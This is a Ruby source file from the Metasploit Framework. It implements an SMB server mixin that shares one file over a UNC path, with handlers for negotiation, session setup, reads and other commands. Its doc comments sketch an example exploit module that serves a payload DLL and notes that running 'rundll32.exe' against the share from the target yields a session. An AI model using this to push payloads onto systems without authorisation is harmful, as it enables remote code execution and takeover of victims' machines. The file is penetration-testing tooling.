# -*- coding: binary -*-
require 'rex/socket'
require 'rex/proto/smb'
require 'rex/text'
require 'rex/logging'
require 'rex/struct2'
require 'rex/proto/smb/constants'
require 'rex/proto/smb/utils'
require 'rex/proto/dcerpc'

module Msf
  module Exploit::Remote::SMB::Server
    # This mixin provides a minimal SMB server sharing an UNC resource. At
    # this moment it is capable to share just one file. And the file should
    # live in the root folder "\\".
    #
    # @example Use it from an Auxiliary module
    #   require 'msf/core'
    #
    #   class MetasploitModule < Msf::Auxiliary
    #
    #     include Msf::Exploit::Remote::SMB::Server::Share
    #
    #     def initialize
    #       super(
    #         'Name'        => 'SMB File Server',
    #         'Description'    => %q{
    #           This module provides a SMB File Server service
    #         },
    #         'Author'      =>
    #           [
    #             'Matthew Hall',
    #             'juan vazquez'
    #           ],
    #         'License'     => MSF_LICENSE,
    #         'Actions'     =>
    #           [
    #             ['Service']
    #           ],
    #         'PassiveActions' =>
    #           [
    #             'Service'
    #           ],
    #         'DefaultAction'  => 'Service'
    #       )
    #     end
    #
    #     def run
    #       print_status("Starting SMB Server on #{unc}...")
    #       exploit
    #     end
    #
    #     def primer
    #       print_status("Primer...")
    #       self.file_contents = 'METASPLOIT'
    #     end
    #   end
    #
    # @example Use it from an Exploit module
    #   require 'msf/core'
    #
    #   class MetasploitModule < Msf::Exploit::Remote
    #     Rank = ExcellentRanking
    #
    #     include Msf::Exploit::EXE
    #     include Msf::Exploit::Remote::SMB::Server::Share
    #
    #     def initialize(info={})
    #       super(update_info(info,
    #         'Name'           => "Example Exploit",
    #         'Description'    => %q{
    #           Example exploit, the Server shares a DLL embedding the payload. A session
    #           can be achieved by executing 'rundll32.exe \\srvhost\share\test.dll,0' from
    #           from the target.
    #         },
    #         'License'        => MSF_LICENSE,
    #         'Author'         =>
    #           [
    #             'Matthew Hall',
    #             'juan vazquez'
    #           ],
    #         'References'     =>
    #           [
    #             ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3074']
    #           ],
    #         'Payload'        =>
    #           {
    #             'Space'       => 2048,
    #             'DisableNops' => true
    #           },
    #           'Platform'       => 'win',
    #           'Targets'        =>
    #             [
    #               ['Windows XP SP3 / Windows 2003 SP2', {}],
    #             ],
    #           'Privileged'     => false,
    #           'DisclosureDate' => "Mar 02 2015",
    #           'DefaultTarget'  => 0))
    #
    #       register_options(
    #         [
    #           OptString.new('FILE_NAME', [ false, 'DLL File name to share', 'test.dll'])
    #         ], self.class)
    #
    #       deregister_options('FILE_CONTENTS')
    #     end
    #
    #     def primer
    #       self.file_contents = generate_payload_dll
    #       print_status("File available on #{unc}...")
    #     end
    #   end
    module Share
      require 'msf/core/exploit/smb/server/share/command'
      require 'msf/core/exploit/smb/server/share/information_level'

      include Msf::Exploit::Remote::SMB::Server::Share::Command::Close
      include Msf::Exploit::Remote::SMB::Server::Share::Command::Negotiate
      include Msf::Exploit::Remote::SMB::Server::Share::Command::NtCreateAndx
      include Msf::Exploit::Remote::SMB::Server::Share::Command::ReadAndx
      include Msf::Exploit::Remote::SMB::Server::Share::Command::SessionSetupAndx
      include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2
      include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::FindFirst2
      include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::QueryFileInformation
      include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::QueryPathInformation
      include Msf::Exploit::Remote::SMB::Server::Share::InformationLevel::Find
      include Msf::Exploit::Remote::SMB::Server::Share::InformationLevel::Query

      include Msf::Exploit::Remote::SMB::Server

      FLAGS = CONST::FLAGS_REQ_RES | CONST::FLAGS_CASE_SENSITIVE

      FLAGS2 = CONST::FLAGS2_UNICODE_STRINGS |
        CONST::FLAGS2_EXTENDED_SECURITY |
        CONST::FLAGS2_32_BIT_ERROR_CODES |
        CONST::FLAGS2_LONG_PATH_COMPONENTS

      CAPABILITIES = CONST::CAP_UNIX_EXTENSIONS |
        CONST::CAP_LARGE_WRITEX |
        CONST::CAP_LARGE_READX |
        CONST::CAP_PASSTHRU |
        CONST::CAP_DFS |
        CONST::CAP_NT_FIND |
        CONST::CAP_LOCK_AND_READ |
        CONST::CAP_LEVEL_II_OPLOCKS |
        CONST::CAP_STATUS32 |
        CONST::CAP_RPC_REMOTE_APIS |
        CONST::CAP_NT_SMBS |
        CONST::CAP_LARGE_FILES |
        CONST::CAP_UNICODE |
        CONST::CAP_RAW_MODE

      CREATE_MAX_ACCESS = CONST::SMB_READ_ACCESS |
        CONST::SMB_WRITE_ACCESS |
        CONST::SMB_APPEND_ACCESS |
        CONST::SMB_READ_EA_ACCESS |
        CONST::SMB_WRITE_EA_ACCESS |
        CONST::SMB_EXECUTE_ACCESS |
        CONST::SMB_DELETE_CHILD_ACCESS |
        CONST::SMB_READ_ATTRIBUTES_ACCESS |
        CONST::SMB_WRITE_ATTRIBUTES_ACCESS |
        CONST::SMB_DELETE_ACCESS |
        CONST::SMB_READ_CONTROL_ACCESS |
        CONST::SMB_WRITE_DAC_ACCESS |
        CONST::SMB_WRITE_OWNER_ACCESS |
        CONST::SMB_SYNC_ACCESS

      TREE_CONNECT_MAX_ACCESS = CONST::SMB_READ_ACCESS |
        CONST::SMB_READ_EA_ACCESS |
        CONST::SMB_EXECUTE_ACCESS |
        CONST::SMB_READ_ATTRIBUTES_ACCESS |
        CONST::SMB_READ_CONTROL_ACCESS |
        CONST::SMB_SYNC_ACCESS

      # @!attribute share
      #   @return [String] The share portion of the provided UNC.
      attr_accessor :share
      # @!attribute folder_name
      #   @return [String] The folder where the provided file lives.
      attr_accessor :folder_name
      # @!attribute file_name
      #   @return [String] The file name of the provided UNC.
      attr_accessor :file_name
      # @!attribute hi
      #   @return [Integer] The high 4 bytes for the file 'created time'.
      attr_accessor :hi
      # @!attribute lo
      #   @return [Integer] The low 4 bytes for the file 'created time'.
      attr_accessor :lo
      # @!attribute file_contents
      #   @return [String] The contents of the provided file
      attr_accessor :file_contents

      def initialize(info = {})
        super

        register_options(
          [
            OptString.new('SHARE', [ false, 'Share (Default Random)']),
            OptString.new('FILE_NAME', [ false, 'File name to share (Default Random)']),
            OptString.new('FOLDER_NAME', [ false, 'Folder name to share (Default none)']),
            OptPath.new('FILE_CONTENTS', [ false, 'File contents (Default Random)'])
          ], Msf::Exploit::Remote::SMB::Server::Share)
      end

      # Setups the server configuration.
      def setup
        super

        self.folder_name = datastore['FOLDER_NAME']
        self.share = datastore['SHARE'] || Rex::Text.rand_text_alpha(4 + rand(3))
        self.file_name = datastore['FILE_NAME'] || Rex::Text.rand_text_alpha(4 + rand(3))

        t = Time.now.to_i
        self.hi, self.lo = ::Rex::Proto::SMB::Utils.time_unix_to_smb(t)

        # The module has an opportunity to set up the file contents in the "primer callback"
        if datastore['FILE_CONTENTS']
          File.open(datastore['FILE_CONTENTS'], 'rb') { |f| self.file_contents = f.read }
        else
          self.file_contents = Rex::Text.rand_text_alpha(50 + rand(150))
        end
      end

      # Builds the UNC Name for the shared file
      def unc
        if folder_name
          path = "\\\\#{srvhost}\\#{share}\\#{folder_name}\\#{file_name}"
        else
          path = "\\\\#{srvhost}\\#{share}\\#{file_name}"
        end

        path
      end

      # Returns the file contents for the requested file
      #
      # @param file [String] the requested file
      # @param folder [String] the requested folder
      # @return [String] The file contents.
      # @note This method will be useful when multiple files are supported. At the
      #   moment is used to be overriden by modules. So they can customize the file
      #   contents.
      def get_file_contents(client:, file: '', folder: '')
        file_contents
      end

      # Builds the server address.
      #
      # @return [String] The server address.
      def srvhost
        datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']
      end

      # New connection handler, executed when there is a new connection.
      #
      # @param c [Socket] The client establishing the connection.
      # @return [Hash] The hash with the client data initialized.
      def smb_conn(c)
        @state[c] = {
          :name         => "#{c.peerhost}:#{c.peerport}",
          :ip           => c.peerhost,
          :port         => c.peerport,
          :multiplex_id => rand(0xffff),
          :process_id   => rand(0xffff),
          :file_id      => 0xdead,
          :dir_id       => 0xbeef
        }
      end

      # Main dispatcher function. Takes the client data and performs a case switch
      # on the command (e.g. Negotiate, Session Setup, Read file, etc.)
      #
      # @param cmd [Integer] The SMB Command requested.
      # @param c [Socket] The client to answer.
      # @param buff [String] The data including the client request.
      # @return [Integer] The number of bytes returned to the client as response.
      def smb_cmd_dispatch(cmd, c, buff)
        smb = @state[c]

        pkt = CONST::SMB_BASE_PKT.make_struct
        pkt.from_s(buff)
        #Record the IDs
        smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
        smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
        smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
        smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']

        case cmd
          when CONST::SMB_COM_NEGOTIATE
            return smb_cmd_negotiate(c, buff)
          when CONST::SMB_COM_SESSION_SETUP_ANDX
            word_count = pkt['Payload']['SMB'].v['WordCount']
            if word_count == 0x0d # Share Security Mode sessions
              return smb_cmd_session_setup_andx(c, buff)
            else
              print_status("SMB Share - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type, ignoring... ")
              return smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
            end
          when CONST::SMB_COM_TRANSACTION2
            return smb_cmd_trans2(c, buff)
          when CONST::SMB_COM_NT_CREATE_ANDX
            return smb_cmd_nt_create_andx(c, buff)
          when CONST::SMB_COM_READ_ANDX
            return smb_cmd_read_andx(c, buff)
          when CONST::SMB_COM_CLOSE
            return smb_cmd_close(c, buff)
          else
            vprint_status("SMB Share - #{smb[:ip]} Unknown SMB command #{cmd.to_s(16)}, ignoring... ")
            return smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
        end
      end
    end
  end
end
